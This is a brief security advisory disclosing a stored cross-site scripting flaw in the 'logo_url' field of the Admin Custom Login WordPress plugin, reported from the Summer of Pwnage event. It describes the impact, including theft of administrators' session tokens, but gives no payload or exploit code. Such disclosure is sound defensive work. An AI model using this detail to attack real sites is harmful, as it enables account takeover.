A persistent Cross-Site Scripting vulnerability has been encountered in the Admin Custom Login WordPress plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. The "logo_url" field does not validate <script> tags and does not perform output encoding.

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29.
